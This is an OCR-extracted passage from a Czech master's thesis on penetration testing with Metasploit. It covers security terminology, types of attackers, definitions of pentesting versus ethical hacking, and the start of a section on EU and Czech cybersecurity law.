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Abstrakt

S riistem dilezitosti pocitacovych systémii po celém svété a s tim spojeného trendu
zvySujici se kyberkriminality roste i proaktivni snaha rady spolecnosti predejit
kompromitaci jejich pocitacového systému. Jednou z diilezitych technik pro tento
Ucel je i penetracni testovani, které tato prace hloubéji prozkoumava a popisuje.
Vprvni c¢asti je Ctendr seznamen se zdkladni terminologii, druhy utoc¢nikd,
detailnimu postupu penetrac¢niho testovani a fadou aktualnich trendi v této oblasti.
Na toto je navazano predstavenim rady nejpouZzivanéjsich nastrojii pro penetracni
testovani, z nichZ jeden znastroji, Metasploit Framework, je pak predstaven
detailnéji a s jeho vyuzitim je vypracovana nazorna pripadova studie, ve které je za
pomoci tohoto ndastroje simulovan skute¢ny penetracni test. BEhem pripadové
studie doSlo kuspésnému prolomeni pocitacového systému malé organizace
a naslednému uspésnému kaskadovému kompromitovani dalsich pocitact vcéetné
téch, které nedisponuji primou konektivitou mezi sebou. Snaha o kompromitovani
vSech pocitacovych systému vsSak skoncila neuspéSné kvili pritomnosti plné

aktualizovaného pocitace, ktery disponuje anti-malwarovou ochranou.

Klic¢ova slova: penetracni testovani, Metasploit, kyberneticka bezpecnost



Abstract

Title: Penetration testing using the Metasploit Framework

With the growing importance of computer systems around the world and the
associated trend of increasing cybercrime, many companies are taking a proactive
approach to prevent their computer systems from being compromised. One of the
important techniques for this purpose is penetration testing. This paper explores
and describes this technique in depth. In the first part, the reader is introduced to
the basic terminology, types of attackers, detailed penetration testing procedure and
several current trends in this area. This is followed by an introduction to a number
of the most commonly used penetration testing tools, one of which, the Metasploit
Framework, is then introduced in more detail and an illustrative case study is
developed using this tool to simulate a real penetration test. During the case study,
the computer system of a small organization was successfully compromised and
then successfully cascaded to other computers, including those without direct
connectivity to each other. However, efforts to compromise all computer systems
ended in failure due to the presence of a fully updated computer that has anti-

malware protection.

Keywords: penetration testing, Metasploit, cybersecurity
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1 Uvod

PocitaCe a pocitaCové systémy doslova zménily svét. S jejich pomoci byla velka rada
béznych Cinnosti zefektivnéna, a to i nékolikanasobné. PocitaCe zaroven umoznily
fadu dalSich Cinnosti, které do té doby nebyly viibec myslitelné. V ramci dalsiho
zvySovani efektivity jsou pocitace neustdle zrychlovany a propojovany do ¢im dal
vétSich a komplikovanéjSich pocitacovych siti. Neni tedy prekvapivé, Ze dnes jiz
takirka vSechny firmy a organizace na c¢innost pocitact ve své kazdodenni praxi

spoléhaji.

Pocitatem dnes jiz neni pouze osobni pocitac v tradi¢nim smyslu toho slova,
ale ¢im dal vice se uplatniuje neustale se rozsirujici Skala specidlnich zatizeni, ktera
jsou Casto navzajem propojena. Je tedy zrejmé, Ze naroky na spravnou konfiguraci
stale se zvétSujiciho mnoZstvi zarizeni neustale rostou. Vlivem Spatné konfigurace
se vSak mulZe snadno stat, Ze néktery z kritickych systémi, na ktery organizace

spoléha, muize selhat, coz v dlisledku velmi ¢asto znamena finan¢ni ztratu.

Situace je o to zavaznéjsi, Ze na zplsobeni financ¢nich a jinych ztrat
jednotlivym organizacim mohou mit zajem i kyberkriminalnici a jiné nepratelské
spolky ¢i organizace. Motivace rozdilnych skupin a jednotlivct se lisi, spolecné vsak
maji, Ze kromé vyhledani Spatnych a nezabezpecenych konfiguraci se snazi zneuZit
i fadu jinych chyb o jejichZ existenci nemusi konkrétni organizace viibec védét.
Nasledky prolomeni zabezpeceni pocitacovych systémii organizace ptritom mohou

byt zcela katastrofalni.

Presné z tohoto diivodu se Fada firem proaktivné snazi zvysit zabezpeceni
své organizace a jednou z velmi diilezitych ¢asti této Cinnosti mliZe byt i penetracni
testovani. Tato prace se zabyva bliZSim popisem této Cinnosti stejné jako nazornou
demonstraci penetra¢niho testovani s vyuZitim nastroje Metasploit Framework.
Dilezitou Casti této prace je i analyza soucasné legislativy za ucCelem zjiSténi, zda
existuje povinnost penetracni testovani vykonavat a jaké jsou na tuto Cinnost

z hlediska zakona a norem naroky.



2 Cil prace

Cilem prace je podrobné predstavit problematiku penetracnich testl a zpracovat
case study, na které budou predstaveny nejnovéjsi metody a technologie vyuZivané

pro penetracni testovani, zejména Metesploit Framework.

Prace bude v teoretické casti obsahovat predstaveni problematiky
penetracnich test(i, vCetné etického hackingu, zakladnich pojmu tykajicich se dané
oblasti a norem. Zavérem teoretické Casti budou predstaveny aktualni metody
a pristupy voblasti penetracniho testovani. V implementac¢ni casti budou
predstaveny nastroje vyuZivané pro penetracni testovani, provedena jejich
komparativni analyza a vypracovana ukazkova case study na jejimz zakladé budou

pripraveny ukazkové piistupy pro penetracni testovandi.



3 Metodika zpracovani

Metodika prace byla zvolena tak aby za jejiho pouziti bylo moZné dosdhnout vsech
dil¢ich i hlavnich cili diplomové prace. Teoreticka ¢ast prace se tedy sklada zejména
z reSerSe zkoumané oblasti, ktera je vzhledem k dostupnosti a kvalité literatury
zpracovana s vyuzitim zdroji psanych prevazné v anglickém jazyce. Vyjimkou je

sekce vénujici se legislativé, kde bylo cerpano z ¢eskych zakoni a ceské literatury.

V praktické casti je pak toto rozSifeno o vytvoreni pripadové studie jejiz
scénar byl vytvoren na zakladé studia ovladani a funkci nastroje Metasploit
Framework. Vysledny scénai vznikl slozenim velké rady poznatkid ziskanych
z volné dostupnych ukazek a tréninkovych materialii tak, aby pripadova studie
ukazovala Sirokou $kalu riiznych funkci tohoto nastroje. Samotné provedeni scénare
piipadové studie pak bylo po usecich vyzkouSeno na tadé virtualnich stroji
v domacich podminkach a poté jako celek za vyuziti laboratoie pocitacovych siti

Univerzity Hradec Kralové.

Béhem psani prace bylo v omezené mire vyuZito nastrojii umeélé inteligence.
Zejména jde o nastroj ChatGPT od spolec¢nosti OpenAl. Vyuziti tohoto nastroje bylo
striktné omezeno, tak aby nedochazela k prejimani faktickych dat z tohoto nastroje.
Nastroj byl namisto toho misty vyuzivan za tcelem zlepSenti Citelnosti textu a jeho
sumarizaci. Dale byly prileZitostné vyuzity nastroje pro preklad textu: Google

Translate a Deepl Translate.



4 Uvod do terminologie

V této kapitole budou uvedeny a vysvétleny zakladni pojmy nezbytné pro pochopeni
feSené problematiky. Mezi tyto pojmy patii zranitelnost, exploit, payload.

Porozuméni témto pojmlm je zadsadni pro dals$i pochopeni obsahu této prace.

4.1 Zranitelnost

Zranitelnost (anglicky Vulnerability) je jakdkoliv bezpecnosti slabina, kterd miiZe
umoZznit potencialnimu utoc¢nikovi prolomeni zabezpeceni daného pocitacového
systému a miiZe tedy teoreticky vést k nedostupnosti sluzby, uniku dat ¢i dokonce

k ovladnuti celého systému uto¢nikem. (1 str. 8)

Zranitelnost muze byt i zdanliva banalita jako jsou nezamcené dvere
do serverové mistnosti. Pri sitovych utocich jde ale typicky o néjakou chybu
v operacnim systému, aplikaci ¢i sitovém protokolu, které miiZe potencialni tito¢nik
zneuzit. Zranitelnosti tohoto typu obvykle nevznikaji zamérné a jsou casto pouze
dlsledkem néjakého opomenuti programatora ¢i navrhare systémi. Mize se ale
stat, Ze vdobé navrhu systému nebyl dany vektor utoku viibec objeven ¢i jinak

dostupny.

Prikladem takové zranitelnosti mohou byt hardwarové zranitelnosti
objevené vroce 2017 v procesorech rady x86 firmy Intel. Pfi navrhu procesori
inZeny¥i firmy Intel nedostate¢né dobie zabezpecili ochranu paméti pii vykonavani
kédu spekulativné. A tim nepfimo umoZnili potencidlnimu tuto¢nikovi piistup

pameéti jinych procesti, a dokonce i jinych virtualnich stroja ve stejném cloudu. (2)

Existuji sluzby, které se zaméruji na podrobné mapovani jednotlivych
zranitelnosti. Jednou z nejznaméjsich je cvedetails.com. Tato stranka pro organizaci
zranitelnosti vyuZziva tzv. CVE ¢islo (Common Vulnerabilities and Exposures), které
predstavuje systém organizace zranitelnosti, o ktery se stara firma MITRE
Corporation. Kromé samotného popisu zranitelnosti je na této strance mozné najit
i jeji relativni nebezpecnost, datum publikovani zranitelnosti i skore EPSS (Exploit
Prediction Scoring System), které vyjadruje pravdépodobnost toho, Ze tato

zranitelnost bude béhem nasledujicich 30 dnii aktivné exploitovana. (3)



CVE-2009-1730

** Public exploit exists

Multiple directory traversal vulnerabilities in NetMechanica NetDecision TFTP Server
4.2 allow remote attackers to read or maodify arbitrary files via directory traversal
sequences in the (1) GET or (2) PUT command.

Max Base Score m

Published 2009-05-20
Updated 2017-08-17

EPSS m

Obrazek 1 Detail konkrétni zranitelnosti ze stranky cvedetails.com
Zdroj: https://www.cvedetails.com/vulnerability-list/vendor_id-9734 /product_id-

17396 /Netmechanica-Netdecision-Tftp-Server.html

4.2 Exploit

Exploit (volné preloZeno jako ,zneuziti“) predstavuje vyuziti libovolné zranitelnosti
pro prolomeni zabezpeceni systému. Toto oznaleni se typicky pouZiva jak pro
samotny akt zneuZiti zranitelnosti, tak pro kus kddu, ktery byl za timto cilem napsan.

(1 str. 8) Exploity se déli na dvé zakladni kategorie: znamé a neznamé.

4.2.1 Znamé exploity

Pokud je dany exploit jiZz architektim systému zndm jedna se o takzvany znamy
exploit. Ukolem zodpovédnych osob je pak ihned podniknout nezbytné kroky
k odstranéni dané zranitelnosti tak, aby dany exploit jiZ nemohl byt pouzit. Pfi
softwarovych zranitelnostech toto vyZaduje vydani opravné softwarové aktualizace,
také znamé jako zaplata (anglicky patch). (4) Vydanim softwarové aktualizace vSak
nemusi byt dany exploit bezcenny. Exploit mlZe byt znamy tieba i celé roky,
a presto je mozné ho vyuzit. Stane se tak v pripadech, kdy dany spravce systému
z néjakého diivodu neudéla (¢i nemize udélat) nezbytny krok k odstranéni této
zranitelnosti. Napriklad se miZe jednat o pripady, kdy dodavatel konkrétniho
softwaru, ve kterém byla zranitelnost objevena jiz neexistuje a nemuze tedy zaplatu

vydat. MiiZe ale jit i o prosté selhani administratort (¢i jinych zodpovédnych osob),



kdy se rozhodnout instalaci aktualizace odlozit, ¢i naptiklad serverovnu z diivodu

pohodlnosti prosté nadale nezamykat.

4.2.2 Neznamé exploity

Druhou kategorii exploitll jsou takzvané neznamé exploity, také znamé jako ,zero-
day“. Jednd se o zneuziti takové zranitelnosti, o které zatim architekt daného
systému ani nevi Ze existuje, nebo se o ni teprve nedavno dozvédél a jesté na ni
vibec nestihl zareagovat. Tento druh exploiti je velmi nebezpecny, protoze pokud
se jedna napriklad o zranitelnost v néjakém velmi rozsifeném softwaru (napf.
operacni systém MS Windows), tak jsou zranitelni vsichni jeho uZivatelé. Casto se
i stava, Ze dand zranitelnost je objevena azZ poté, kdy ji nékdo zneuZije. V takovém
pripadé je pak nutné, aby zodpovédné osoby co nejrychleji priSly na to, jak dany
exploit fungoval, a teprve aZ poté je moZné zacit pracovat na odstranéni

korespondujici zranitelnosti. (4)

Objeveni Exploit

Vytvoreni |, anitelnosti | dostupny

Riziko po zverejnéni

Riziko pred zvefejnénim

Instalce

Zverejnéni zéplaty

Obrazek 2 Zivotni cyklus exploitovatelné zranitelnosti
Zdroj: Vlastni tvorba dle (5)

Zero-day exploity jsou kvili své velké potencidlni uzitecnosti pro utocnika
velmi cenénym zboZim. Objevitel dané exploitovatelné zranitelnosti miiZe tento sviij
objev prodat a potencialné si tak na cerném trhu vydélat velké mnozZstvi penéz. Za
Ucelem vyvazeni toho faktu nabizi nékteré firmy tzv. ,bug bounty program®, ktery
se snazi dat objeviteliim zranitelnosti néjakou alternativu, pii které je osobé nebo
skupiné osob, ktefi chybu nahlasi primo zodpovédné spolecnosti, vyplacena jista

penéZni odména. Objevitel chyby je tedy za svilij objev odménén, aniZ by se musel



obratit na Cerny trh a tim riskovat zajem policie. Dana firma také miiZe uSetrit velké
mnoZstvi penéz, protoZe kdyby byla chyba exploitovana nepratelskym utocnikem,
miiZe dojit k primé i nepiimé penézni ztraté (napfr. ztrata prestize, divéry klienti

atd.) pro firmu katastrofické nasledky. (6 str. 47 az 57)

Ani nahldSeni neznamé zranitelnosti vSak nemusi byt nutné jedinou
spravnou, jednoduchou a legalni cestou. Vroce 2021 napiiklad Cinska lidova
republika prijala zakon, ktery prikazuje ¢inskym spolecnostem nahlasit objevené
zranitelnosti mistni vladé namisto zahrani¢nim subjektim (s vyjimkou tvirce
daného software). Kratce po schvaleni tohoto zakona byla jedna z nejvétSich
¢inskych firem Alibaba potrestana za to, Ze jimi objevena zranitelnost v popularnim
open source frameworku Log4] byla nahlaSena pouze americké firmé Apache
namisto mistnim organdm. (7; 8) Tento novy ¢insky zakon rychle vyvolal podezieni,
7e se Cinska lidova republika snazi nashromazdit co nejvice neznamych exploiti
za Ucelem mozného pozdéjsiho nepratelského vyuziti. (9) Podobnym narcenim
v minulosti i soucasnosti Celi i jiné staty v¢etné Spojenych stati americkych. (6 str.

11 a# 56)

Tento vyvoj ukazuje, Ze zero-day zranitelnosti a exploity nejsou diilezité jen
pro jednotlivé dto¢niky ¢i hackerské skupiny, ale s rostouci diilezitosti pocitacovych
systému se o vyuziti téchto prostiedkli pro geopolitické cile zac¢inaji ¢im dal vice
zajimat i jednotlivé staty. Fenomén statem sponzorovanych utoc¢niki je bliZe popsan

v nasledujici kapitole.

4.2.3 Backdoor

Specialni formou neznamé zranitelnosti mohou byt i skryta zadni vratka (tzv.
backdoor), kterd programator ¢i navrhar systému zdmérné vytvoril za ucelem
pozdéjsiho vyuziti (at’ uZ jim samotnym nebo i jinou entitou). Osoba ¢i instituce,
ktera zadni vratka do systému vlozila je totiz mulze teoreticky vzdy zneuzit ¢i
informaci o jejich existenci nékomu prodat nebo prozradit. Zadni vratka mohou byt
dale nahodile objevena a teoreticky i zneuzita treti dosud nezainteresovanou

stranou.



Prikladem vyrobcem zabudovanych zadnich vratek je odhaleni nékolika
zadnich vratek, ktera spolecnost Cisco od roku 2004 zabudovavala do svych
sitovych prvkil za dc¢elem toho, aby policejni slozZky mély v pripadé potireby moZnost
se do danych vyrobkil na dalku pripojit za ticelem shromazd'ovani dlikazi ¢i jiné
policejni ¢innosti. Tato zadni vratka byla poté v roce 2010 nezavisle nalezena firmou
IBM security. Jde o obzvlast zavaZnou zranitelnost, protoZe pristup do systému
timto zplisobem zadmérné nezanechava stopu v logu. Dalsi zadni vratka v nékterych

vyrobcich této firmy byla nalezena v roce: 2013, 2014, 2015, 2017 a 2018. (10)

Termin zadni vratka neni omezen pouze na vyrobcem zameérné vytvoirenou
alternativni moZnost pristupu do systému. Zadni vratka mohou byt do systému
pridana i pozdéji napt. béhem ciziho prevzeti kontroly nad pocitacovym systémem
za UcCelem udrzovani pristupu. Tento termin v tomto kontextu je bliZe popsan

v kapitole 6.

4.3 Payload

DalSim velmi dtlezitym terminem je payload, ktery ve svété kybernetické
bezpecnosti oznaCuje konkrétni cast Skodlivého kédu, kterd po prolomeni
zabezpeceni vykonava néjakou Skodlivou ¢i nebezpecnou Cinnost. Tohoto cile mize
byt dosazeno pouze provedenim nékolika malo ptikazl na cilovém stroji za icelem
napft. zaSifrovat data na daném pocitacovém systému. Payload miiZe ale byt daleko
komplexnéjsi a miliZe se i jednat vytvoreni trvalého spojeni mezi napadnutym

a utocicim systémem. (11; 1 str. 8)



5 Porozumeéni utoénikiim (Threat Actors)

Pfed samotnym seznamenim se sterminem ,penetracni testovani je dulezité
pochopit, kviili ¢emu viibec tato technika vznikla a jakym hrozbam v kybernetickém
prostoru miiZe libovolna organizace celit. Je ziejmé, Ze naroky na zabezpeceni
pocitacového systému mistni pekarny (¢i podobného podniku relativné malého
vyznamu pro Sirsi spolecnost) se budou dramaticky lisit od narokl na zabezpeceni
pocitacového systému firmy zajistujici spravu kritické infrastruktury (¢i podobného
podniku relativné velkého vyznamu pro Sirsi spolecnost). Diivodem tohoto rozdilu
jsou diisledky, které by napadeni (a pripadna nasledna nedostupnost) pocitacovych
systéml dané organizace meéla. Diisledkem této skutecnosti je, Ze rlzné typy
organizaci pritahuji rGzné typy uato¢nikd. Je tedy duleZité se seznamit
s nejzakladnéjSimi druhy utocnik, jejich motivaci a zamyslet se, kterym typlim
kybernetickych utokli miZe organizace redlné celit a tomu nasledné pak

i prizplisobit snahu zabezpecit pocitacové systémy organizace.

V redlném svété lze utocniky rozdélit do kategorii a rozlisit tak jejich
schopnosti a motivace. Spole¢nost Cisco ve svém kurzu CCNA3 verze 7 déli itocniky

na nékolik skupin podle etiky ¢i podle jejich motivace a znalosti (12)
5.1 Déleni dle etiky

e Black Hat: Black Hat predstavuje druh atoc¢nika, ktery zcela bez predchoziho
povoleni zadtoci na pocitaCovy systém vybraného cile za tcelem vlastniho
finan¢niho ¢i jiného osobniho prospéchu. (11)

e White Hat: Jedna se o zakonné, moralni a etické utoky, kde experti
nazakladé svych znalosti pocitacovych bezpecCnostnich systémiu
s predchozim svolenim zauto¢i na predem dohodnuty cil. To vSe ve snaze
proniknout do siti a systémi za ucelem odhaleni slabin a nasledného
nahlaseni téchto slabin dané organizaci, tak aby mohly byt tyto nedostatky
napraveny jeSté drive, neZ si jich vSimne nékdo, kdo by je chtél zneuZit. (12).

e Gray Hat: Tento druh ttoc¢nikl se na pomyslné skale mezi White Hat a Black

Hat nachazi zhruba uprostred. Tito lidé se podobné jako Black Hat snaZi bez



predchoziho svoleni nalézt bezpecnostni diry v systémech libovolného cile.
Na rozdil od uto¢niki typu Black Hat vSak nalezené slabiny nezneuziji pro
osobni prospéch, ale podobné jak White Hats tyto bezpecnostni diry typicky
danému subjektu nahlasi. Mohou tak provést zcela neziStné a zdarma. Mohou
ale i poskytnout pouze diikaz o existenci slabiny a dal$i podrobnosti

poskytnout pouze za financni aplatu. (13; 12)
5.2 Déleni dle znalosti a motivace

e Scriptkiddies: Tito Uto¢nici umi pouZzivat jednoduché nastroje a taktiky, ale
nemaji témér zadny vycvik ¢i znalosti. Jedna se ¢asto o mladistvé nebo
za UCelem zplsobeni Skody Ci prosté jen aby sami sobé néco dokazali.
Obvykle jim nejde o zisk. Tento typ Gtoc¢niki ¢asto ani plné nechape co déla a
témeér az ndhodné zkousi jimi zvolené nastroje a ¢eka na to, ktery jako prvni
bude pro né fungovat. Diky tomu, Ze dnes jsou jiZ mnohé velmi sofistikované
nastroje volné dostupné a jednoduché na ovladani se jednd o velmi
nebezpecnou, a hlavné pocetnou skupinu uto¢nikl. Spolecnost Cisco dale
podotyka, Ze diky volné dostupnym a zaroven velmi sofistikovanym
nastrojim je dnes jiZz mozné provést velmi komplexni utoky i svelmi
limitovanymi technickymi znalostmi. Coz déla ztéto pocetné skupiny
pomérné dilezitého protivnika. (12)

e Vulnerability brokers: Obvykle se jedna o Gray Hat hackery, ktefi se snaZzi
objevit exploity a nahlasit je stranam, kterych se to tyka. Motivaci pro tuto
¢innost jsou typicky odmény, které firmy za nahlaseni zranitelnosti ve svych
systémech davaji. (12)

e Hacktivisté: Hacktivisté predstavuji druh Uto¢nik(i, ktefi utokem
na pocitacové systémy vlady ¢i soukromych firem verejné proti témto
subjektiim protestuji. U¢elem utokd je nejéastéji potrestat ¢i jinak prildkat
pozornost k takové Cinnosti téchto vlad ¢i firem, kterou hacktivisté povazuji
za amoralni ¢i jinak nespravnou. (12) NejzndméjSim piikladem takovych

uto¢nikii je skupina Anonymous, kterd zejména v minulosti podnikla
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znacnou iadu vysoko profilovych atokt. Jednim z nejznameéjsich je napriklad
série utokil na spolecnosti PayPal, Visa a Mastercard kratce poté co tyto
spolecnosti prestaly zprostiedkovavat platby pro organizaci WikiLeaks. (14)
Kyberkriminalnici: Jak jiZ ndzev napovida jedna se o utoc¢niky typu Black
Hat, kteri se bud’ sami, nebo ¢asto i ve skupinach zabyvaji kyberzlofinem
Jejich motivy jsou Cisté ziStné a nejCastéji maji podobu primého finan¢niho
prospéchu. ,0dhaduje se, Ze pocitacovi zlocinci kradou spotrebiteliim
a podnikiim miliardy dolarti. Kyberzlocinci operuji v podzemni ekonomice, kde
nakupuji, proddvaji a obchoduji s ndstroji pro titoky, s kédem zero day exploit,
sluzbami botnetti, bankovnimi trojskymi korimi, keyloggery a mnoha dalsimi.
Také nakupuji a proddvaji soukromé informace a dusevni vlastnictvi, které
kradou. Pocitacovi zloCinci se zaméruji na malé podniky a spotrebitele, stejné
jako na velké podniky a celd priimyslovd odvétvi. , (12) Cinnost tohoto druhu
utocnikl je vSem velmi zndma stejné tak i Skody, které mohou po sobé
zanechat. Napiiklad atok na systémy spolecnosti Colonial Pipeline z roku
2021 mél za nasledek mimo primé financ¢ni ztraty této spolecnosti i vyvolani
znacné paniky verejnosti z diivodu rizika nedostatku pohonnych hmot. (15)
Statem sponzorovani utocnici: S riistem dtlezitosti pocitacovych systémi
pro interni fungovani kazdé organizace a ve vysledku celého statu vznikla
nova a velmi nebezpecna skupina statem sponzorovanych utocnikt. Cilem
této skupiny jsou vSechny takové subjekty, které stat sponzorujici dané
uto¢niky uzna za vhodné. Mize tedy jit o kradez tajemstvi jinych statq,
shromaZzd'ovani zpravodajskych informaci ¢i sabotovani pocitacovych
systému protivnika v pripadé néjakého konfliktu dvou ¢i vice statl. Tato
skupina je obzvlast nebezpecna kvili tomu, Ze ma k dispozici velmi rozsahlé
financni i jiné prostredky stejné jako i radu predpripravenych neverejnych
nastrojl, které vyuzivaji dosud nepublikované zranitelnosti zero-day. (12)
Statem sponzorovani uUtocnici mohou mit kvili svému mimoifadnému
postaveni i pristup k zadnim vratkiim do systémi. (10) Kombinace vSech
vySe zminénych specifik z nich déla velmi nebezpefnou skupinu a obrana
proti nim je velmi obtiZzna. Pfikladem konkrétnich statem sponzorovanych

utokl miize byt utok na nejvétsiho Ruského producenta jadernych ponorek,
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jehoZ ucelem méla byt kradez citlivych dokumentl tykajicich se vyrobkt
tohoto producenta. (16) Zajimavym fenoménem je i Udajnd zamérné
nedostatecnd snaha nékterych statli potrestat kyberkriminalni skupiny,
které z izemi domovského statu utoci proti subjektim ve statech, které
domovsky stat povazuje za potencialni konkurenty/soupeie. (17) DalSim
konkrétnim zajimavym prikladem statem sponzorovanych atokli miliZe byt
nartst kybernetickych tutoki proti ukrajinskym subjektiim v roce 2022 pri
vpadu vojsk Ruské federace do této zemé. (18) Tento fenomén ukazuje, Ze
kybernetické utoky mohou byt statem vyuzity i jako dal$i znastroji

k dosazeni geopolitickych cilti.
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6 Penetracni testovani

Firma IBM v internetovém c¢lanku publikovaném na svych strankach penetracni
testovani definuje jako ,bezpecCnostni test, jehoz cilem je za vyuziti
faleSného/predstiraného kybernetického utoku nalézt slabiny v pocitacovém
systému.” Firma IBM dale zdlraziuje, Ze penetracni testovani je daleko obsahlejsi
nez pouhé vyhodnoceni zranitelnosti. Vyhodnocovani zranitelnosti je totiz délano
automaticky a cilem je oznaCit Casté chyby, které se v systému mohly objevit.
Penetracni testovani vSak pri nalezeni chyby danou chybu rovnou zneuZije a tim
vérné simuluje chovani nepratelského hackera. Cilem penetracniho testovani je
oproti pouhému rutinnimu vyhodnocovani zranitelnosti poskytnout
bezpecnostnimu tymu detailni predstavu o tom, jakym zpisobem by skuteCny
hacker mohl narusit fungovani organizace a jakym zptisobem by mohl pristoupit
k citlivym datiim. Velkou vyhodou penetrac¢niho testovani je dle tohoto ¢lanku, Ze
penetracni testovani Casto provadéji najaté subjekty tretich stran a tim dochazi
k opravdovému a realistickému napodobeni pripadného utoku, protoze takto mtiize
snadno dojit k odhaleni takovych slabin systému, kterych by si interni bezpe¢nostni

tym viibec nemusel v§imnout. (19)

Britska vladni instituce National Cyber Security Centre ale naopak penetracni
testovani definuje jako ,Metodu pro ziskani jistoty v bezpecCnost IT systému
pokusem o prolomeni ¢asti nebo veSkerého zabezpeceni tohoto systému za pouZziti
stejnych nastrojt a technik, jako by pouzil nepiatelsky uto¢nik“. Dle této instituce
tedy neni cilem penetra¢niho testovani primarné nalézt zranitelnosti v néjakém
systému, ale ziskat jistotu, Ze dana organizace ma kvalitni interni procesy pro

posouzeni zranitelnosti a nasledny managment téchto zranitelnosti. (20)

Cesky zdroj CESNET pak tyto dvé mirné odli$né definice sjednocuje. Dle
tohoto zdroje je penetracni testovani ,provedeni testu s cilem identifikovat
zranitelnosti, které by mohly byt pritomny v aktivu: na pocitaci, serveru, v informacnim
systému, siti, aplikaci nebo v organizaci (pak se testuje zranitelnost osob a fyzické
zabezpeceni). Penetraclni testy provddi vyskoleni, kvalifikovani experti s pouZitim

postupti, které predpoklddaji, Ze by mohli pouZit skutecni hackeri. Penetracni testy

13



odhaluji slabiny (zranitelnosti) i zpitisoby (hrozby), jakymi by mohla byt aktiva
zneuZita a poskytuji ndvod, jak sniZit existujici riziko. Penetracni testy také mohou
identifikovat schopnost organizace reagovat na incident bezpecnosti informaci“. (21)
Je zjevné, Ze tato definice stejné jako definice firmy IBM klade diiraz na identifikaci
zranitelnosti, ¢imzZ se liSi od definice britské vladni instituce, ktera identifikaci
zranitelnosti bere jako néco druhoradého. Na rozdil od definice IBM vSak sdruZeni
CESNET samotné interni procesy firmy a jejich reakce na objevené zranitelnosti ci
bezpecnostni incident zohlediuje, avsak na rozdil od National Cyber Security Centre

je povazuje az za druhotady cil.

Dalo by se tedy konstatovat, Ze penetrac¢ni testovani predstavuje aktivitu, pti
které clovék oznacovany jako penetracni tester, Casto zkracovano jenom na
pentester, provadi kontrolu, hodnoceni a testovani zabezpeceni konkrétni
organizace za pouziti stejnych metod, strategii a prostredki, jaké by pouzil
nepratelsky utocnik. Dlilezitou soucasti penetracniho testovani je vsak i identifikace
schopnosti dané organizace reagovat na objevené zranitelnosti ¢i bezpecnostni

incident.

Kniha ,PENETRATION TESTING ESSENTIALS" autora Seana-Philipa Oriyana
dale dopliiuje, Ze nezbytnou soucasti spravného penetracniho testovani je i formalni
dohoda mezi samotnym pentesterem a cilovou organizaci. Tato dohoda zahrnuje
i smlouvu o mlcenlivosti (NDA; Non Disclosure Agreement). Pentester totiZ pfi své
Cinnosti muize dosdhnout pomérné vysoké znalosti internitho fungovani
pocitacovych systémi cilové organizace. Pokud by se tyto znalosti dostaly do rukou
neopravnéné tieti strany, hrozi, Ze by na zadkladé téchto znalosti mohl byt usnadnén
potencialni redlny neptatelsky kyberneticky utok. Smlouva NDA tedy zajiStuje
legalni vynuceni diskrétnosti informaci zjisténych pentestrem/pentestery. Dalsi
dilezitou formalni nalezitosti je dle této knihy i samotna smlouva mezi cilovou
organizaci a penetracnim testerem. V této smlouvé by meélo byt specifikovano co
vSechno je pri penetracnim testu povoleno a co piresné, jakym zptisobem a v jakém

formatu musi pentester na zavér predloZit sva zjisténi. (22 str. 18)
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V souvislosti s penetracnim testovanim je v odborné literatufe ¢asto pouzit
i termin Eticky hacking. Ve vétsiné pripadl jsou tyto dva terminy brany jako
synonyma a byvaji zaménovany. Pii exaktnim porovnani definic obou termint je
vSak ziejmé, Ze se o synonyma nejednd. Jacob Fox z firmy Cobalt, kterd nabizi
komerc¢ni penetetracni testovani svym klientim v c¢lanku publikovaném
na strankach této firmy zdiraznuje, Ze tyto dva pojmy se lisi ve Ctyrech zasadnich

bodech. (23)

1. Na rozdil od etického hackovani, penetracni testovani presné stanovuje
rozsah testovani zaméreného na konkrétni sit nebo pocitacovy systém.

2. Etické hackovani vyuziva libovolny utoc¢ny vektor k proniknuti do systému,
zatimco pentest ¢asto presnéji definuje tyto atocné vektory pired samotnym
testovanim. Penetracni test napriklad casto nezahrnuje fazi socialniho
inZenyrstvi (napf. zasilani podvodnych emailti), zatimco v ramci etického
hackovani by tato faze mohla byt zahrnuta. Penetracni testovani se také
prisné ridi néjakou metodologii.

3. Neékteré predpisy explicitné stanovuji poZadavek na provadéni penetracnich
testd, avSak neobsahuji pozadavek tykajici se nutnosti provadéni etického
hackovani.

4. U etického hackovani Casto chybi pevné stanovené datum ukonceni a ¢asto
funguje spiS jako program odméinovani za nalezené chyby (bug bounty

program).

Tyto dva terminy se vSak shoduji v tom, Ze oba pojmy oznacuji proaktivni
pristup ke kyberbezpecnosti a také v tom, Ze obé c¢innosti vyZaduji povoleni od
cilové organizace predtim, neZ jeji bezpecnost bude jednim ztéchto taktik

aplikovana.

Toto rozdéleni rovnéZz potvrzuje Dimitar Kostadinov v ¢lanku ,Ethical
hacking vs. penetration testing” umisténém na webu firmy INFOSEC, ktera se zabyva
vzdélavanim v oblasti informacni bezpecnosti a naslednym vydavanim certifikatt
o uspésném absolvovani kurzi svymi zakazniky. Kostadinov v zavéru ¢lanku

konstatuje, Ze Eticky hacking predstavuje mnozinu technik, kterd obsahuje
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i penetracni testy, ale i jiné techniky jako napriklad snahu oklamat personalni

obsazenti cilové organizace pomoci metod socialniho inZenyrstvi. (24)

6.1 Legislativa a normy

Jak jiz bylo v této praci zminéno diisledné dodrzovani kyberbezpecnostnich zasad je
nezbytné pro kazdou organizaci. Srlstem dilezitosti organizace vSak rostou
i disledky potencidlniho bezpecnostniho incidentu. Presné ztoho diivodu jsou

poZadavky na kyberbezpecnost dlisledné ukotveny legislativné.

V prostoru Evropské Unie ma toto legislativni ukotveni podobu smérnice
Evropského parlamentu a Rady (EU) 2016/1148 o opatrenich k zajisténi vysoké
spolecné urovné bezpecnosti siti a informacnich systémt v Unii (Smérnice NIS),
povinnosti kazdého ¢lenského statu je pak tuto smérnici implementovat a spolecné
s dalsimi konkrétnimi opatifenimi ji takto zaradit do zakonl kazdé clenské zemé.
Tento pristup ma za cil zavést jednotny standart irovné kybernetické bezpecnosti

napric¢ celou unii. (25)

V Ceské republice kybernetickou bezpe¢nost definuje zakon ¢. 181/2014 Sb.,
o kybernetické bezpecnosti (ZKB) a jeho provadéci vyhlasky. Tento zakon definuje
v § 3 povinné osoby a organizace, které maji dle § 4 tohoto zakona nafizeno
provadéni bezpecnostnich opatreni pro zajiSténi kybernetické bezpecnosti. (26;

27). Hlavnim cilem zdkona ZKB je dle NUKIB (25):

e stanovit zdkladni urovern bezpecnostnich opatrenti,

o zlepsit detekci kybernetickych bezpecnostnich incidentti,

e zavést hldseni kybernetickych bezpecnostnich incidentt,

